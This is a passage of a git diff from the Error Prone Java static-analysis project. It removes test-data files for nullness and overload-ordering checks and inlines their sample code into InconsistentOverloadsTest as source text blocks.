false; - } - } - - // https://stackoverflow.com/questions/2950319/is-null-check-needed-before-calling-instanceof - private class UsesInstanceOfWithoutNullCheck { - private int a; - - @Override - public boolean equals(Object other) { - if (other instanceof UsesInstanceOfWithoutNullCheck) { - UsesInstanceOfWithoutNullCheck that = (UsesInstanceOfWithoutNullCheck) other; - return that.a == a; - } - return false; - } - } - - private class IntermediateBooleanVariable { - private int a; - - @Override - public boolean equals(Object other) { - boolean isEqual = other instanceof IntermediateBooleanVariable; - if (isEqual) { - IntermediateBooleanVariable that = (IntermediateBooleanVariable) other; - return that.a == a; - } - return isEqual; - } - } - - private class UnsafeCastWithNullCheck { - private int a; - - @Override - public boolean equals(Object o) { - if (o == null) { - return false; - } - UnsafeCastWithNullCheck that = (UnsafeCastWithNullCheck) o; - return that.a == a; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java deleted file mode 100644 index db11fd050e1..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/EqualsBrokenForNullPositiveCases.java +++ /dev/null @@ -1,197 +0,0 @@ -/* - * Copyright 2018 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -/** - * Positive test cases for EqualsBrokenForNull check. - * - * @author bhagwani@google.com (Sumit Bhagwani) - */ -public class EqualsBrokenForNullPositiveCases { - - private class ObjectGetClassArgToEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToEqualsMultiLine { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (this == obj) { - return true; - } - if (!getClass().equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToIsAssignableFrom { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!getClass().isAssignableFrom(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassArgToEquals2 { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!ObjectGetClassArgToEquals2.class.equals(obj.getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().equals(getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToEquals2 { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().equals(ObjectGetClassReceiverToEquals2.class)) { - return false; - } - return true; - } - } - - private class ObjectGetClassReceiverToIsAssignableFrom { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (!obj.getClass().isAssignableFrom(getClass())) { - return false; - } - return true; - } - } - - private class ObjectGetClassLeftOperandDoubleEquals { - @Override - // BUG: Diagnostic contains: if (other == null) { return false; } - public boolean equals(Object other) { - if (other.getClass() == ObjectGetClassLeftOperandDoubleEquals.class) { - return true; - } - return false; - } - } - - private class ObjectGetClassRightOperandDoubleEquals { - @Override - // BUG: Diagnostic contains: if (other == null) { return false; } - public boolean equals(Object other) { - if (ObjectGetClassRightOperandDoubleEquals.class == other.getClass()) { - return true; - } - return false; - } - } - - private class ObjectGetClassLeftOperandNotEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (obj.getClass() != ObjectGetClassLeftOperandNotEquals.class) { - return false; - } - return true; - } - } - - private class ObjectGetClassRightOperandNotEquals { - @Override - // BUG: Diagnostic contains: if (obj == null) { return false; } - public boolean equals(Object obj) { - if (ObjectGetClassRightOperandNotEquals.class != obj.getClass()) { - return false; - } - return true; - } - } - - private class UnusedNullCheckWithNotEqualToInLeftOperand { - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (this.getClass() != o.getClass() || o == null) { - return false; - } - return true; - } - } - - private class UnusedNullCheckWithGetClassInEqualsArg { - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (this.getClass().equals(o.getClass()) || o == null) { - return false; - } - return true; - } - } - - private class UnsafeCastAndNoNullCheck { - private int a; - - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - UnsafeCastAndNoNullCheck that = (UnsafeCastAndNoNullCheck) o; - return that.a == a; - } - } - - // Catch a buggy instanceof check that lets nulls through. - private class VerySillyInstanceofCheck { - private int a; - - @Override - // BUG: Diagnostic contains: if (o == null) { return false; } - public boolean equals(Object o) { - if (o != null && !(o instanceof VerySillyInstanceofCheck)) { - return false; - } - VerySillyInstanceofCheck that = (VerySillyInstanceofCheck) o; - return that.a == a; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java deleted file mode 100644 index b1194bfa402..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitiveNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.jspecify.annotations.Nullable; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class NullablePrimitiveNegativeCases { - @Nullable Integer a; - - public void method(@Nullable Integer a) {} - - @Nullable - public Integer method() { - return Integer.valueOf(0); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java deleted file mode 100644 index 85bd3948e68..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/NullablePrimitivePositiveCases.java +++ /dev/null @@ -1,41 +0,0 @@ -/* - * Copyright 2015 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.testdata; - -import org.jspecify.annotations.Nullable; - -/** - * @author sebastian.h.monte@gmail.com (Sebastian Monte) - */ -public class NullablePrimitivePositiveCases { - - // BUG: Diagnostic contains: remove - @Nullable - int a; - - public void method( - // BUG: Diagnostic contains: remove - @Nullable - int a) { - } - - // BUG: Diagnostic contains: remove - @Nullable - public int method() { - return 0; - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java deleted file mode 100644 index b7a69093d65..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullNegativeCase.java +++ /dev/null @@ -1,56 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -public class UnnecessaryCheckNotNullNegativeCase { - public void go_checkNotNull() { - Preconditions.checkNotNull("this is ok"); - } - - public void go_verifyNotNull() { - Verify.verifyNotNull("this is ok"); - } - - public void go_requireNonNull() { - Objects.requireNonNull("this is ok"); - } - - private static class Preconditions { - static void checkNotNull(String string) { - System.out.println(string); - } - } - - private static class Verify { - static void verifyNotNull(String string) { - System.out.println(string); - } - } - - private static class Objects { - static void requireNonNull(String string) { - System.out.println(string); - } - } - - public void go() { - Object testObj = null; - com.google.common.base.Preconditions.checkNotNull(testObj, "this is ok"); - com.google.common.base.Verify.verifyNotNull(testObj, "this is ok"); - java.util.Objects.requireNonNull(testObj, "this is ok"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java deleted file mode 100644 index 0621cdee074..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPositiveCase.java +++ /dev/null @@ -1,84 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; -import static com.google.common.base.Verify.verifyNotNull; -import static java.util.Objects.requireNonNull; - -import com.google.common.base.Preconditions; -import com.google.common.base.Verify; -import java.util.Objects; - -public class UnnecessaryCheckNotNullPositiveCase { - public void error_checkNotNull() { - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull("string literal"); - - // BUG: Diagnostic contains: remove this line - checkNotNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - checkNotNull("thing is null", thing); - // BUG: Diagnostic contains: - Preconditions.checkNotNull("a string literal " + "that's got two parts", thing); - } - - public void error_verifyNotNull() { - // BUG: Diagnostic contains: remove this line - Verify.verifyNotNull("string literal"); - - // BUG: Diagnostic contains: remove this line - verifyNotNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - verifyNotNull("thing is null", thing); - // BUG: Diagnostic contains: - Verify.verifyNotNull("a string literal " + "that's got two parts", thing); - } - - public void error_requireNonNull() { - // BUG: Diagnostic contains: remove this line - Objects.requireNonNull("string literal"); - - // BUG: Diagnostic contains: remove this line - requireNonNull("string literal"); - - String thing = null; - // BUG: Diagnostic contains: (thing, - requireNonNull("thing is null", thing); - // BUG: Diagnostic contains: - Objects.requireNonNull("a string literal " + "that's got two parts", thing); - } - - public void error_fully_qualified_import_checkNotNull() { - // BUG: Diagnostic contains: remove this line - com.google.common.base.Preconditions.checkNotNull("string literal"); - } - - public void error_fully_qualified_import_verifyNotNull() { - // BUG: Diagnostic contains: remove this line - com.google.common.base.Verify.verifyNotNull("string literal"); - } - - public void error_fully_qualified_import_requireNonNull() { - // BUG: Diagnostic contains: remove this line - java.util.Objects.requireNonNull("string literal"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java deleted file mode 100644 index 3c14f9c5664..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitiveNegativeCases.java +++ /dev/null @@ -1,33 +0,0 @@ -/* - * Copyright 2012 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.base.Preconditions; - -public class UnnecessaryCheckNotNullPrimitiveNegativeCases { - public void test() { - Object obj1 = new Object(); - - Preconditions.checkNotNull(obj1); - checkNotNull(obj1); - Preconditions.checkNotNull(obj1, "obj1 should not be null"); - Preconditions.checkNotNull(obj1, "%s should not be null", "obj1"); - Preconditions.checkNotNull(obj1.toString()); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java deleted file mode 100644 index 09b610f5b77..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnnecessaryCheckNotNullPrimitivePositiveCases.java +++ /dev/null @@ -1,148 +0,0 @@ -/* - * Copyright 2011 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static com.google.common.base.Preconditions.checkNotNull; - -import com.google.common.base.Preconditions; - -public class UnnecessaryCheckNotNullPrimitivePositiveCases { - - private Tester field = new Tester(); - - public void test() { - Object a = new Object(); - Object b = new Object(); - byte byte1 = 0; - short short1 = 0; - int int1 = 0, int2 = 0; - long long1 = 0; - float float1 = 0; - double double1 = 0; - boolean boolean1 = false, boolean2 = false; - char char1 = 0; - Tester tester = new Tester(); - - // Do we detect all primitive types? - - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(byte1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(short1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(int1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(long1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(float1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(double1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(boolean1); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(char1); - - // Do we give the right suggested fix? - - // BUG: Diagnostic contains: boolean1 = boolean2; - boolean1 = Preconditions.checkNotNull(boolean2); - // BUG: Diagnostic contains: boolean1 = int1 == int2; - boolean1 = Preconditions.checkNotNull(int1 == int2); - // BUG: Diagnostic contains: checkState(tester.hasId()) - Preconditions.checkNotNull(tester.hasId()); - // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have ID!") - Preconditions.checkNotNull(tester.hasId(), "Must have ID!"); - // BUG: Diagnostic contains: checkState(tester.hasId(), "Must have %s!", "ID") - Preconditions.checkNotNull(tester.hasId(), "Must have %s!", "ID"); - - // Do we handle arguments that evaluate to a primitive type? - - // BUG: Diagnostic contains: Preconditions.checkNotNull(a) - Preconditions.checkNotNull(a != null); - // BUG: Diagnostic contains: Preconditions.checkNotNull(a) - Preconditions.checkNotNull(a == null); - // BUG: Diagnostic contains: checkState(int1 == int2) - Preconditions.checkNotNull(int1 == int2); - // BUG: Diagnostic contains: checkState(int1 > int2) - Preconditions.checkNotNull(int1 > int2); - // BUG: Diagnostic contains: remove this line - Preconditions.checkNotNull(boolean1 ? int1 : int2); - - // Do we handle static imports? - - // BUG: Diagnostic contains: remove this line - checkNotNull(byte1); - // BUG: Diagnostic contains: 'checkState(tester.hasId()) - checkNotNull(tester.hasId()); - } - - public void test2(Tester arg) { - Tester local = new Tester(); - // Do we correctly distinguish checkArgument from checkState? - - // BUG: Diagnostic contains: checkArgument(arg.hasId()) - checkNotNull(arg.hasId()); - // BUG: Diagnostic contains: checkState(field.hasId()) - checkNotNull(field.hasId()); - // BUG: Diagnostic contains: checkState(local.hasId()) - checkNotNull(local.hasId()); - // BUG: Diagnostic contains: checkState(!local.hasId()) - checkNotNull(!local.hasId()); - - // BUG: Diagnostic contains: checkArgument(!(arg instanceof Tester)) - checkNotNull(!(arg instanceof Tester)); - - // BUG: Diagnostic contains: checkState(getTrue()) - checkNotNull(getTrue()); - - // BUG: Diagnostic contains: remove this line - checkNotNull(arg.getId()); - // BUG: Diagnostic contains: id = arg.getId() - int id = checkNotNull(arg.getId()); - - // BUG: Diagnostic contains: boolean b = arg.hasId(); - boolean b = checkNotNull(arg.hasId()); - - // Do we handle long chains of method calls? - - // BUG: Diagnostic contains: checkArgument(arg.getTester().getTester().hasId()) - checkNotNull(arg.getTester().getTester().hasId()); - - // BUG: Diagnostic contains: checkArgument(arg.tester.getTester().hasId()) - checkNotNull(arg.tester.getTester().hasId()); - } - - private boolean getTrue() { - return true; - } - - private static class Tester { - public Tester tester; - - public boolean hasId() { - return true; - } - - public int getId() { - return 10; - } - - public Tester getTester() { - return tester; - } - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java b/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java deleted file mode 100644 index 9bb682b702d..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/nullness/testdata/UnsoundGenericMethod.java +++ /dev/null @@ -1,59 +0,0 @@ -/* - * Copyright 2022 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.nullness.testdata; - -import static java.util.stream.Collectors.toList; - -import java.util.List; -import java.util.function.Function; -import java.util.stream.Stream; - -public class UnsoundGenericMethod { - public interface Marker {} - - public interface Converter { - List convert(T input); - } - - // error below can be avoided here with "class Impl ..." - private static class Impl implements Function> { - private final Stream> cs; - - private Impl(Stream> cs) { - this.cs = cs; - } - - @Override - public List apply(T input) { - // BUG: Diagnostic contains: Unsafe wildcard in inferred type argument - return cs.map(c -> new Wrap<>(c).handle(input)).collect(toList()); - } - } - - private static class Wrap { - Wrap(Converter unused) {} - - T handle(T input) { - return input; - } - } - - public static void main(String... args) { - // BUG: Diagnostic contains: impossible - new Impl<>(Stream.of(null, null)).apply("boom"); - } -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java index 28a97ae6565..35389f6d257 100644 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java +++ b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/InconsistentOverloadsTest.java @@ -33,55 +33,275 @@ public final class InconsistentOverloadsTest { @Test public void inconsistentOverloadsNegativeCases() { - compilationHelper.addSourceFile("testdata/InconsistentOverloadsNegativeCases.java").doTest(); + compilationHelper + .addSourceLines( + "InconsistentOverloadsNegativeCases.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsNegativeCases { + + public void foo(Object object) {} + + public void foo(Object object, int x, int y) {} + + public void foo(Object object, int x, int y, String string) {} + + public void bar(int x, int y, int z) {} + + public void bar(int x) {} + + public void bar(int x, int y) {} + + public void baz(String string) {} + + public void baz(int x, int y, String otherString) {} + + public void baz(int x, int y, String otherString, Object object) {} + + public void quux(int x, int y, int z) {} + + public void quux(int x, int y, String string) {} + + public void norf(int x, int y) {} + + public void norf(Object object, String string) {} + }""") + .doTest(); } @Test public void inconsistentOverloadsPositiveCasesAnnotations() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesAnnotations.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesAnnotations.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + import org.jspecify.annotations.Nullable; + + public abstract class InconsistentOverloadsPositiveCasesAnnotations { + + @interface Bar {} + + @interface Baz {} + + // BUG: Diagnostic contains: foo(String x, String y, Object z) + abstract void foo(@Nullable Object z, String y, @Nullable String x); + + abstract void foo(@Nullable String x); + + // BUG: Diagnostic contains: foo(String x, String y) + abstract void foo(String y, @Nullable String x); + + // BUG: Diagnostic contains: quux(Object object, String string) + int quux(String string, @Bar @Baz Object object) { + return string.hashCode() + quux(object); + } + + int quux(@Bar @Baz Object object) { + return object.hashCode(); + } + + // BUG: Diagnostic contains: quux(Object object, String string, int x, int y) + abstract int quux(String string, int x, int y, @Bar @Baz Object object); + + abstract int norf(@Bar @Baz String string); + + // BUG: Diagnostic contains: norf(String string, Object object) + abstract int norf(Object object, @Baz @Bar String string); + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesGeneral() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesGeneral.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesGeneral.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesGeneral { + + public void foo(Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int i) + public void foo(int i, Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int i, String string) + public void foo(String string, Object object, int i) {} + + // BUG: Diagnostic contains: bar(int i, int j, String x, String y, Object object) + public void bar(Object object, String x, String y, int i, int j) {} + + public void bar(int i, int j) {} + + // BUG: Diagnostic contains: bar(int i, int j, String x, String y) + public void bar(String x, String y, int i, int j) {} + + public void baz(int i, int j) {} + + public void baz(Object object) {} + + // BUG: Diagnostic contains: baz(int i, int j, String x, Object object) + public void baz(String x, int i, int j, Object object) {} + + public void quux(int x, int y, String string) {} + + // BUG: Diagnostic contains: quux(int x, int y, Object object) + public void quux(Object object, int y, int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesGenerics() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesGenerics.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesGenerics.java", + """ +package com.google.errorprone.bugpatterns.overloading.testdata; + +import java.util.List; + +public final class InconsistentOverloadsPositiveCasesGenerics { + + // BUG: Diagnostic contains: foo(List numbers, List> nestedNumbers) + public void foo(List> nestedNumbers, List numbers) {} + + public void foo(List numbers) {} + + // BUG: Diagnostic contains: foo(Iterable numbers, String description) + public void foo(String description, Iterable numbers) {} + + public void bar(int x) {} + + // BUG: Diagnostic contains: bar(int x, List> strings) + public void bar(List> strings, int x) {} +}""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesInterleaved() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesInterleaved.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesInterleaved.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesInterleaved { + + // BUG: Diagnostic contains: baz(int x, String string, int y) + public void baz(int y, int x, String string) {} + + // BUG: Diagnostic contains: foo(int x, int y, int z, String string) + public void foo(int x, int z, int y, String string) {} + + public void foo(int x, int y) {} + + public void bar(String string, Object object) {} + + // BUG: Diagnostic contains: baz(int x, String string) + public void baz(String string, int x) {} + + // BUG: Diagnostic contains: foo(int x, int y, int z) + public void foo(int z, int x, int y) {} + + // BUG: Diagnostic contains: bar(String string, Object object, int x, int y) + public void bar(int x, int y, String string, Object object) {} + + public void baz(int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesSimple() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesSimple.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesSimple.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public final class InconsistentOverloadsPositiveCasesSimple { + + public void foo(Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int x, int y) + public void foo(int x, int y, Object object) {} + + // BUG: Diagnostic contains: foo(Object object, int x, int y, String string) + public void foo(String string, int y, Object object, int x) {} + }""") .doTest(); } @Test public void inconsistentOverloadsPositiveCasesVarargs() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesVarargs.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesVarargs.java", + """ + package com.google.errorprone.bugpatterns.overloading.testdata; + + public abstract class InconsistentOverloadsPositiveCasesVarargs { + + public void foo(String... rest) {} + + public void foo(int x, String... rest) {} + + // BUG: Diagnostic contains: foo(int x, int y, String... rest) + public void foo(int y, int x, String... rest) {} + + abstract void bar(float x, float y); + + // BUG: Diagnostic contains: bar(float x, float y, float z, Object... rest) + abstract void bar(float z, float y, float x, Object... rest); + + // BUG: Diagnostic contains: bar(float x, float y, float z, String string) + abstract void bar(float y, String string, float x, float z); + + abstract void bar(Object... rest); + }""") .doTest(); } @Test public void inconsistentOverloadsOverrides() { compilationHelper - .addSourceFile("testdata/InconsistentOverloadsPositiveCasesOverrides.java") + .addSourceLines( + "InconsistentOverloadsPositiveCasesOverrides.java", + """ +package com.google.errorprone.bugpatterns.overloading.testdata; + +import java.util.List; +import java.util.Map; + +public class InconsistentOverloadsPositiveCasesOverrides { + + class SuperClass { + + void someMethod(String foo, int bar) {} + + // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz) + void someMethod(int bar, String foo, List baz) {} + } + + class SubClass extends SuperClass { + + @Override // no bug + void someMethod(String foo, int bar) {} + + @Override // no bug + void someMethod(int bar, String foo, List baz) {} + + // BUG: Diagnostic contains: someMethod(String foo, int bar, List baz, Map fizz) + void someMethod(int bar, String foo, List baz, Map fizz) {} + } +}""") .doTest(); } diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java deleted file mode 100644 index 35f5ecb8c40..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsNegativeCases.java +++ /dev/null @@ -1,46 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -public final class InconsistentOverloadsNegativeCases { - - public void foo(Object object) {} - - public void foo(Object object, int x, int y) {} - - public void foo(Object object, int x, int y, String string) {} - - public void bar(int x, int y, int z) {} - - public void bar(int x) {} - - public void bar(int x, int y) {} - - public void baz(String string) {} - - public void baz(int x, int y, String otherString) {} - - public void baz(int x, int y, String otherString, Object object) {} - - public void quux(int x, int y, int z) {} - - public void quux(int x, int y, String string) {} - - public void norf(int x, int y) {} - - public void norf(Object object, String string) {} -} diff --git a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java b/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java deleted file mode 100644 index 2e7a698bf28..00000000000 --- a/core/src/test/java/com/google/errorprone/bugpatterns/overloading/testdata/InconsistentOverloadsPositiveCasesAnnotations.java +++ /dev/null @@ -1,51 +0,0 @@ -/* - * Copyright 2017 The Error Prone Authors. - * - * Licensed under the Apache License, Version 2.0 (the "License"); - * you may not use this file except in compliance with the License. - * You may obtain a copy of the License at - * - * http://www.apache.org/licenses/LICENSE-2.0 - * - * Unless required by applicable law or agreed to in writing, software - * distributed under the License is distributed on an "AS IS" BASIS, - * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. - * See the License for the specific language governing permissions and - * limitations under the License. - */ - -package com.google.errorprone.bugpatterns.overloading.testdata; - -import org.jspecify.annotations.Nullable; - -public abstract class InconsistentOverloadsPositiveCasesAnnotations { - - @interface Bar {} - - @interface Baz {} - - // BUG: Diagnostic contains: foo(String x, String y, Object z) - abstract void foo(@Nullable Object z, String y, @Nullable String x); - - abstract void foo(@Nullable String x); - - // BUG: Diagnostic contains: foo(String x, String y) - abstract void foo(String y, @Nullable String x); - - // BUG: Diagnostic contains: quux(Object object, String string) - int quux(String string, @Bar @Baz Object object) { - return string.hashCode() + quux(object); - } - - int 